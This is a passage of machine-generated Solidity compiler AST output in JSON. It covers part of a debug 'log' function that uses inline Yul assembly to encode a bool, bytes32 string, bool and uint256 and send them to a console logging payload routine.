name":"bytes32","nodeType":"ElementaryTypeName","src":"214791:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40863,"nodeType":"VariableDeclarationStatement","src":"214791:10:22"},{"AST":{"nativeSrc":"214820:825:22","nodeType":"YulBlock","src":"214820:825:22","statements":[{"body":{"nativeSrc":"214863:313:22","nodeType":"YulBlock","src":"214863:313:22","statements":[{"nativeSrc":"214881:15:22","nodeType":"YulVariableDeclaration","src":"214881:15:22","value":{"kind":"number","nativeSrc":"214895:1:22","nodeType":"YulLiteral","src":"214895:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"214885:6:22","nodeType":"YulTypedName","src":"214885:6:22","type":""}]},{"body":{"nativeSrc":"214966:40:22","nodeType":"YulBlock","src":"214966:40:22","statements":[{"body":{"nativeSrc":"214995:9:22","nodeType":"YulBlock","src":"214995:9:22","statements":[{"nativeSrc":"214997:5:22","nodeType":"YulBreak","src":"214997:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"214983:6:22","nodeType":"YulIdentifier","src":"214983:6:22"},{"name":"w","nativeSrc":"214991:1:22","nodeType":"YulIdentifier","src":"214991:1:22"}],"functionName":{"name":"byte","nativeSrc":"214978:4:22","nodeType":"YulIdentifier","src":"214978:4:22"},"nativeSrc":"214978:15:22","nodeType":"YulFunctionCall","src":"214978:15:22"}],"functionName":{"name":"iszero","nativeSrc":"214971:6:22","nodeType":"YulIdentifier","src":"214971:6:22"},"nativeSrc":"214971:23:22","nodeType":"YulFunctionCall","src":"214971:23:22"},"nativeSrc":"214968:36:22","nodeType":"YulIf","src":"214968:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"214923:6:22","nodeType":"YulIdentifier","src":"214923:6:22"},{"kind":"number","nativeSrc":"214931:4:22","nodeType":"YulLiteral","src":"214931:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"214920:2:22","nodeType":"YulIdentifier","src":"214920:2:22"},"nativeSrc":"214920:16:22","nodeType":"YulFunctionCall","src":"214920:16:22"},"nativeSrc":"214913:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"214937:28:22","nodeType":"YulBlock","src":"214937:28:22","statements":[{"nativeSrc":"214939:24:22","nodeType":"YulAssignment","src":"214939:24:22","value":{"arguments":[{"name":"length","nativeSrc":"214953:6:22","nodeType":"YulIdentifier","src":"214953:6:22"},{"kind":"number","nativeSrc":"214961:1:22","nodeType":"YulLiteral","src":"214961:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"214949:3:22","nodeType":"YulIdentifier","src":"214949:3:22"},"nativeSrc":"214949:14:22","nodeType":"YulFunctionCall","src":"214949:14:22"},"variableNames":[{"name":"length","nativeSrc":"214939:6:22","nodeType":"YulIdentifier","src":"214939:6:22"}]}]},"pre":{"nativeSrc":"214917:2:22","nodeType":"YulBlock","src":"214917:2:22","statements":[]},"src":"214913:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"215030:3:22","nodeType":"YulIdentifier","src":"215030:3:22"},{"name":"length","nativeSrc":"215035:6:22","nodeType":"YulIdentifier","src":"215035:6:22"}],"functionName":{"name":"mstore","nativeSrc":"215023:6:22","nodeType":"YulIdentifier","src":"215023:6:22"},"nativeSrc":"215023:19:22","nodeType":"YulFunctionCall","src":"215023:19:22"},"nativeSrc":"215023:19:22","nodeType":"YulExpressionStatement","src":"215023:19:22"},{"nativeSrc":"215059:37:22","nodeType":"YulVariableDeclaration","src":"215059:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"215076:3:22","nodeType":"YulLiteral","src":"215076:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"215085:1:22","nodeType":"YulLiteral","src":"215085:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"215088:6:22","nodeType":"YulIdentifier","src":"215088:6:22"}],"functionName":{"name":"shl","nativeSrc":"215081:3:22","nodeType":"YulIdentifier","src":"215081:3:22"},"nativeSrc":"215081:14:22","nodeType":"YulFunctionCall","src":"215081:14:22"}],"functionName":{"name":"sub","nativeSrc":"215072:3:22","nodeType":"YulIdentifier","src":"215072:3:22"},"nativeSrc":"215072:24:22","nodeType":"YulFunctionCall","src":"215072:24:22"},"variables":[{"name":"shift","nativeSrc":"215063:5:22","nodeType":"YulTypedName","src":"215063:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"215124:3:22","nodeType":"YulIdentifier","src":"215124:3:22"},{"kind":"number","nativeSrc":"215129:4:22","nodeType":"YulLiteral","src":"215129:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"215120:3:22","nodeType":"YulIdentifier","src":"215120:3:22"},"nativeSrc":"215120:14:22","nodeType":"YulFunctionCall","src":"215120:14:22"},{"arguments":[{"name":"shift","nativeSrc":"215140:5:22","nodeType":"YulIdentifier","src":"215140:5:22"},{"arguments":[{"name":"shift","nativeSrc":"215151:5:22","nodeType":"YulIdentifier","src":"215151:5:22"},{"name":"w","nativeSrc":"215158:1:22","nodeType":"YulIdentifier","src":"215158:1:22"}],"functionName":{"name":"shr","nativeSrc":"215147:3:22","nodeType":"YulIdentifier","src":"215147:3:22"},"nativeSrc":"215147:13:22","nodeType":"YulFunctionCall","src":"215147:13:22"}],"functionName":{"name":"shl","nativeSrc":"215136:3:22","nodeType":"YulIdentifier","src":"215136:3:22"},"nativeSrc":"215136:25:22","nodeType":"YulFunctionCall","src":"215136:25:22"}],"functionName":{"name":"mstore","nativeSrc":"215113:6:22","nodeType":"YulIdentifier","src":"215113:6:22"},"nativeSrc":"215113:49:22","nodeType":"YulFunctionCall","src":"215113:49:22"},"nativeSrc":"215113:49:22","nodeType":"YulExpressionStatement","src":"215113:49:22"}]},"name":"writeString","nativeSrc":"214834:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"214855:3:22","nodeType":"YulTypedName","src":"214855:3:22","type":""},{"name":"w","nativeSrc":"214860:1:22","nodeType":"YulTypedName","src":"214860:1:22","type":""}],"src":"214834:342:22"},{"nativeSrc":"215189:17:22","nodeType":"YulAssignment","src":"215189:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215201:4:22","nodeType":"YulLiteral","src":"215201:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"215195:5:22","nodeType":"YulIdentifier","src":"215195:5:22"},"nativeSrc":"215195:11:22","nodeType":"YulFunctionCall","src":"215195:11:22"},"variableNames":[{"name":"m0","nativeSrc":"215189:2:22","nodeType":"YulIdentifier","src":"215189:2:22"}]},{"nativeSrc":"215219:17:22","nodeType":"YulAssignment","src":"215219:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215231:4:22","nodeType":"YulLiteral","src":"215231:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"215225:5:22","nodeType":"YulIdentifier","src":"215225:5:22"},"nativeSrc":"215225:11:22","nodeType":"YulFunctionCall","src":"215225:11:22"},"variableNames":[{"name":"m1","nativeSrc":"215219:2:22","nodeType":"YulIdentifier","src":"215219:2:22"}]},{"nativeSrc":"215249:17:22","nodeType":"YulAssignment","src":"215249:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215261:4:22","nodeType":"YulLiteral","src":"215261:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"215255:5:22","nodeType":"YulIdentifier","src":"215255:5:22"},"nativeSrc":"215255:11:22","nodeType":"YulFunctionCall","src":"215255:11:22"},"variableNames":[{"name":"m2","nativeSrc":"215249:2:22","nodeType":"YulIdentifier","src":"215249:2:22"}]},{"nativeSrc":"215279:17:22","nodeType":"YulAssignment","src":"215279:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215291:4:22","nodeType":"YulLiteral","src":"215291:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"215285:5:22","nodeType":"YulIdentifier","src":"215285:5:22"},"nativeSrc":"215285:11:22","nodeType":"YulFunctionCall","src":"215285:11:22"},"variableNames":[{"name":"m3","nativeSrc":"215279:2:22","nodeType":"YulIdentifier","src":"215279:2:22"}]},{"nativeSrc":"215309:17:22","nodeType":"YulAssignment","src":"215309:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215321:4:22","nodeType":"YulLiteral","src":"215321:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"215315:5:22","nodeType":"YulIdentifier","src":"215315:5:22"},"nativeSrc":"215315:11:22","nodeType":"YulFunctionCall","src":"215315:11:22"},"variableNames":[{"name":"m4","nativeSrc":"215309:2:22","nodeType":"YulIdentifier","src":"215309:2:22"}]},{"nativeSrc":"215339:17:22","nodeType":"YulAssignment","src":"215339:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215351:4:22","nodeType":"YulLiteral","src":"215351:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"215345:5:22","nodeType":"YulIdentifier","src":"215345:5:22"},"nativeSrc":"215345:11:22","nodeType":"YulFunctionCall","src":"215345:11:22"},"variableNames":[{"name":"m5","nativeSrc":"215339:2:22","nodeType":"YulIdentifier","src":"215339:2:22"}]},{"nativeSrc":"215369:17:22","nodeType":"YulAssignment","src":"215369:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"215381:4:22","nodeType":"YulLiteral","src":"215381:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"215375:5:22","nodeType":"YulIdentifier","src":"215375:5:22"},"nativeSrc":"215375:11:22","nodeType":"YulFunctionCall","src":"215375:11:22"},"variableNames":[{"name":"m6","nativeSrc":"215369:2:22","nodeType":"YulIdentifier","src":"215369:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215466:4:22","nodeType":"YulLiteral","src":"215466:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"215472:10:22","nodeType":"YulLiteral","src":"215472:10:22","type":"","value":"0x1606a393"}],"functionName":{"name":"mstore","nativeSrc":"215459:6:22","nodeType":"YulIdentifier","src":"215459:6:22"},"nativeSrc":"215459:24:22","nodeType":"YulFunctionCall","src":"215459:24:22"},"nativeSrc":"215459:24:22","nodeType":"YulExpressionStatement","src":"215459:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215503:4:22","nodeType":"YulLiteral","src":"215503:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"215509:2:22","nodeType":"YulIdentifier","src":"215509:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215496:6:22","nodeType":"YulIdentifier","src":"215496:6:22"},"nativeSrc":"215496:16:22","nodeType":"YulFunctionCall","src":"215496:16:22"},"nativeSrc":"215496:16:22","nodeType":"YulExpressionStatement","src":"215496:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215532:4:22","nodeType":"YulLiteral","src":"215532:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"215538:4:22","nodeType":"YulLiteral","src":"215538:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"215525:6:22","nodeType":"YulIdentifier","src":"215525:6:22"},"nativeSrc":"215525:18:22","nodeType":"YulFunctionCall","src":"215525:18:22"},"nativeSrc":"215525:18:22","nodeType":"YulExpressionStatement","src":"215525:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215563:4:22","nodeType":"YulLiteral","src":"215563:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"215569:2:22","nodeType":"YulIdentifier","src":"215569:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215556:6:22","nodeType":"YulIdentifier","src":"215556:6:22"},"nativeSrc":"215556:16:22","nodeType":"YulFunctionCall","src":"215556:16:22"},"nativeSrc":"215556:16:22","nodeType":"YulExpressionStatement","src":"215556:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215592:4:22","nodeType":"YulLiteral","src":"215592:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"215598:2:22","nodeType":"YulIdentifier","src":"215598:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215585:6:22","nodeType":"YulIdentifier","src":"215585:6:22"},"nativeSrc":"215585:16:22","nodeType":"YulFunctionCall","src":"215585:16:22"},"nativeSrc":"215585:16:22","nodeType":"YulExpressionStatement","src":"215585:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215626:4:22","nodeType":"YulLiteral","src":"215626:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"215632:2:22","nodeType":"YulIdentifier","src":"215632:2:22"}],"functionName":{"name":"writeString","nativeSrc":"215614:11:22","nodeType":"YulIdentifier","src":"215614:11:22"},"nativeSrc":"215614:21:22","nodeType":"YulFunctionCall","src":"215614:21:22"},"nativeSrc":"215614:21:22","nodeType":"YulExpressionStatement","src":"215614:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40844,"isOffset":false,"isSlot":false,"src":"215189:2:22","valueSize":1},{"declaration":40847,"isOffset":false,"isSlot":false,"src":"215219:2:22","valueSize":1},{"declaration":40850,"isOffset":false,"isSlot":false,"src":"215249:2:22","valueSize":1},{"declaration":40853,"isOffset":false,"isSlot":false,"src":"215279:2:22","valueSize":1},{"declaration":40856,"isOffset":false,"isSlot":false,"src":"215309:2:22","valueSize":1},{"declaration":40859,"isOffset":false,"isSlot":false,"src":"215339:2:22","valueSize":1},{"declaration":40862,"isOffset":false,"isSlot":false,"src":"215369:2:22","valueSize":1},{"declaration":40834,"isOffset":false,"isSlot":false,"src":"215509:2:22","valueSize":1},{"declaration":40836,"isOffset":false,"isSlot":false,"src":"215632:2:22","valueSize":1},{"declaration":40838,"isOffset":false,"isSlot":false,"src":"215569:2:22","valueSize":1},{"declaration":40840,"isOffset":false,"isSlot":false,"src":"215598:2:22","valueSize":1}],"id":40864,"nodeType":"InlineAssembly","src":"214811:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40866,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"215670:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40867,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"215676:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40865,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"215654:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"215654:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40869,"nodeType":"ExpressionStatement","src":"215654:27:22"},{"AST":{"nativeSrc":"215700:214:22","nodeType":"YulBlock","src":"215700:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"215721:4:22","nodeType":"YulLiteral","src":"215721:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"215727:2:22","nodeType":"YulIdentifier","src":"215727:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215714:6:22","nodeType":"YulIdentifier","src":"215714:6:22"},"nativeSrc":"215714:16:22","nodeType":"YulFunctionCall","src":"215714:16:22"},"nativeSrc":"215714:16:22","nodeType":"YulExpressionStatement","src":"215714:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215750:4:22","nodeType":"YulLiteral","src":"215750:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"215756:2:22","nodeType":"YulIdentifier","src":"215756:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215743:6:22","nodeType":"YulIdentifier","src":"215743:6:22"},"nativeSrc":"215743:16:22","nodeType":"YulFunctionCall","src":"215743:16:22"},"nativeSrc":"215743:16:22","nodeType":"YulExpressionStatement","src":"215743:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215779:4:22","nodeType":"YulLiteral","src":"215779:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"215785:2:22","nodeType":"YulIdentifier","src":"215785:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215772:6:22","nodeType":"YulIdentifier","src":"215772:6:22"},"nativeSrc":"215772:16:22","nodeType":"YulFunctionCall","src":"215772:16:22"},"nativeSrc":"215772:16:22","nodeType":"YulExpressionStatement","src":"215772:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215808:4:22","nodeType":"YulLiteral","src":"215808:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"215814:2:22","nodeType":"YulIdentifier","src":"215814:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215801:6:22","nodeType":"YulIdentifier","src":"215801:6:22"},"nativeSrc":"215801:16:22","nodeType":"YulFunctionCall","src":"215801:16:22"},"nativeSrc":"215801:16:22","nodeType":"YulExpressionStatement","src":"215801:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215837:4:22","nodeType":"YulLiteral","src":"215837:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"215843:2:22","nodeType":"YulIdentifier","src":"215843:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215830:6:22","nodeType":"YulIdentifier","src":"215830:6:22"},"nativeSrc":"215830:16:22","nodeType":"YulFunctionCall","src":"215830:16:22"},"nativeSrc":"215830:16:22","nodeType":"YulExpressionStatement","src":"215830:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215866:4:22","nodeType":"YulLiteral","src":"215866:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"215872:2:22","nodeType":"YulIdentifier","src":"215872:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215859:6:22","nodeType":"YulIdentifier","src":"215859:6:22"},"nativeSrc":"215859:16:22","nodeType":"YulFunctionCall","src":"215859:16:22"},"nativeSrc":"215859:16:22","nodeType":"YulExpressionStatement","src":"215859:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"215895:4:22","nodeType":"YulLiteral","src":"215895:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"215901:2:22","nodeType":"YulIdentifier","src":"215901:2:22"}],"functionName":{"name":"mstore","nativeSrc":"215888:6:22","nodeType":"YulIdentifier","src":"215888:6:22"},"nativeSrc":"215888:16:22","nodeType":"YulFunctionCall","src":"215888:16:22"},"nativeSrc":"215888:16:22","nodeType":"YulExpressionStatement","src":"215888:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40844,"isOffset":false,"isSlot":false,"src":"215727:2:22","valueSize":1},{"declaration":40847,"isOffset":false,"isSlot":false,"src":"215756:2:22","valueSize":1},{"declaration":40850,"isOffset":false,"isSlot":false,"src":"215785:2:22","valueSize":1},{"declaration":40853,"isOffset":false,"isSlot":false,"src":"215814:2:22","valueSize":1},{"declaration":40856,"isOffset":false,"isSlot":false,"src":"215843:2:22","valueSize":1},{"declaration":40859,"isOffset":false,"isSlot":false,"src":"215872:2:22","valueSize":1},{"declaration":40862,"isOffset":false,"isSlot":false,"src":"215901:2:22","valueSize":1}],"id":40870,"nodeType":"InlineAssembly","src":"215691:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"214601:3:22","parameters":{"id":40841,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40834,"mutability":"mutable","name":"p0","nameLocation":"214610:2:22","nodeType":"VariableDeclaration","scope":40872,"src":"214605:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40833,"name":"bool","nodeType":"ElementaryTypeName","src":"214605:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40836,"mutability":"mutable","name":"p1","nameLocation":"214622:2:22","nodeType":"VariableDeclaration","scope":40872,"src":"214614:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40835,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214614:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40838,"mutability":"mutable","name":"p2","nameLocation":"214631:2:22","nodeType":"VariableDeclaration","scope":40872,"src":"214626:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40837,"name":"bool","nodeType":"ElementaryTypeName","src":"214626:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40840,"mutability":"mutable","name":"p3","nameLocation":"214643:2:22","nodeType":"VariableDeclaration","scope":40872,"src":"214635:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40839,"name":"uint256","nodeType":"ElementaryTypeName","src":"214635:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"214604:42:22"},"returnParameters":{"id":40842,"nodeType":"ParameterList","parameters":[],"src":"214661:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40918,"nodeType":"FunctionDefinition","src":"215926:1524:22","nodes":[],"body":{"id":40917,"nodeType":"Block","src":"215995:1455:22","nodes":[],"statements":[{"assignments":[40884],"declarations":[{"constant":false,"id":40884,"mutability":"mutable","name":"m0","nameLocation":"216013:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216005:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40883,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216005:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40885,"nodeType":"VariableDeclarationStatement","src":"216005:10:22"},{"assignments":[40887],"declarations":[{"constant":false,"id":40887,"mutability":"mutable","name":"m1","nameLocation":"216033:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216025:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40886,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216025:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40888,"nodeType":"VariableDeclarationStatement","src":"216025:10:22"},{"assignments":[40890],"declarations":[{"constant":false,"id":40890,"mutability":"mutable","name":"m2","nameLocation":"216053:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216045:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40889,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216045:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40891,"nodeType":"VariableDeclarationStatement","src":"216045:10:22"},{"assignments":[40893],"declarations":[{"constant":false,"id":40893,"mutability":"mutable","name":"m3","nameLocation":"216073:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216065:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40892,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216065:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40894,"nodeType":"VariableDeclarationStatement","src":"216065:10:22"},{"assignments":[40896],"declarations":[{"constant":false,"id":40896,"mutability":"mutable","name":"m4","nameLocation":"216093:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216085:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40895,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216085:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40897,"nodeType":"VariableDeclarationStatement","src":"216085:10:22"},{"assignments":[40899],"declarations":[{"constant":false,"id":40899,"mutability":"mutable","name":"m5","nameLocation":"216113:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216105:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40898,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216105:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40900,"nodeType":"VariableDeclarationStatement","src":"216105:10:22"},{"assignments":[40902],"declarations":[{"constant":false,"id":40902,"mutability":"mutable","name":"m6","nameLocation":"216133:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216125:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40901,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216125:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40903,"nodeType":"VariableDeclarationStatement","src":"216125:10:22"},{"assignments":[40905],"declarations":[{"constant":false,"id":40905,"mutability":"mutable","name":"m7","nameLocation":"216153:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216145:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40904,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216145:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40906,"nodeType":"VariableDeclarationStatement","src":"216145:10:22"},{"assignments":[40908],"declarations":[{"constant":false,"id":40908,"mutability":"mutable","name":"m8","nameLocation":"216173:2:22","nodeType":"VariableDeclaration","scope":40917,"src":"216165:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40907,"name":"bytes32","nodeType":"ElementaryTypeName","src":"216165:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40909,"nodeType":"VariableDeclarationStatement","src":"216165:10:22"},{"AST":{"nativeSrc":"216194:921:22","nodeType":"YulBlock","src":"216194:921:22","statements":[{"body":{"nativeSrc":"216237:313:22","nodeType":"YulBlock","src":"216237:313:22","statements":[{"nativeSrc":"216255:15:22","nodeType":"YulVariableDeclaration","src":"216255:15:22","value":{"kind":"number","nativeSrc":"216269:1:22","nodeType":"YulLiteral","src":"216269:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"216259:6:22","nodeType":"YulTypedName","src":"216259:6:22","type":""}]},{"body":{"nativeSrc":"216340:40:22","nodeType":"YulBlock","src":"216340:40:22","statements":[{"body":{"nativeSrc":"216369:9:22","nodeType":"YulBlock","src":"216369:9:22","statements":[{"nativeSrc":"216371:5:22","nodeType":"YulBreak","src":"216371:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"216357:6:22","nodeType":"YulIdentifier","src":"216357:6:22"},{"name":"w","nativeSrc":"216365:1:22","nodeType":"YulIdentifier","src":"216365:1:22"}],"functionName":{"name":"byte","nativeSrc":"216352:4:22","nodeType":"YulIdentifier","src":"216352:4:22"},"nativeSrc":"216352:15:22","nodeType":"YulFunctionCall","src":"216352:15:22"}],"functionName":{"name":"iszero","nativeSrc":"216345:6:22","nodeType":"YulIdentifier","src":"216345:6:22"},"nativeSrc":"216345:23:22","nodeType":"YulFunctionCall","src":"216345:23:22"},"nativeSrc":"216342:36:22","nodeType":"YulIf","src":"216342:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"216297:6:22","nodeType":"YulIdentifier","src":"216297:6:22"},{"kind":"number","nativeSrc":"216305:4:22","nodeType":"YulLiteral","src":"216305:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"216294:2:22","nodeType":"YulIdentifier","src":"216294:2:22"},"nativeSrc":"216294:16:22","nodeType":"YulFunctionCall","src":"216294:16:22"},"nativeSrc":"216287:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"216311:28:22","nodeType":"YulBlock","src":"216311:28:22","statements":[{"nativeSrc":"216313:24:22","nodeType":"YulAssignment","src":"216313:24:22","value":{"arguments":[{"name":"length","nativeSrc":"216327:6:22","nodeType":"YulIdentifier","src":"216327:6:22"},{"kind":"number","nativeSrc":"216335:1:22","nodeType":"YulLiteral","src":"216335:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"216323:3:22","nodeType":"YulIdentifier","src":"216323:3:22"},"nativeSrc":"216323:14:22","nodeType":"YulFunctionCall","src":"216323:14:22"},"variableNames":[{"name":"length","nativeSrc":"216313:6:22","nodeType":"YulIdentifier","src":"216313:6:22"}]}]},"pre":{"nativeSrc":"216291:2:22","nodeType":"YulBlock","src":"216291:2:22","statements":[]},"src":"216287:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"216404:3:22","nodeType":"YulIdentifier","src":"216404:3:22"},{"name":"length","nativeSrc":"216409:6:22","nodeType":"YulIdentifier","src":"216409:6:22"}],"functio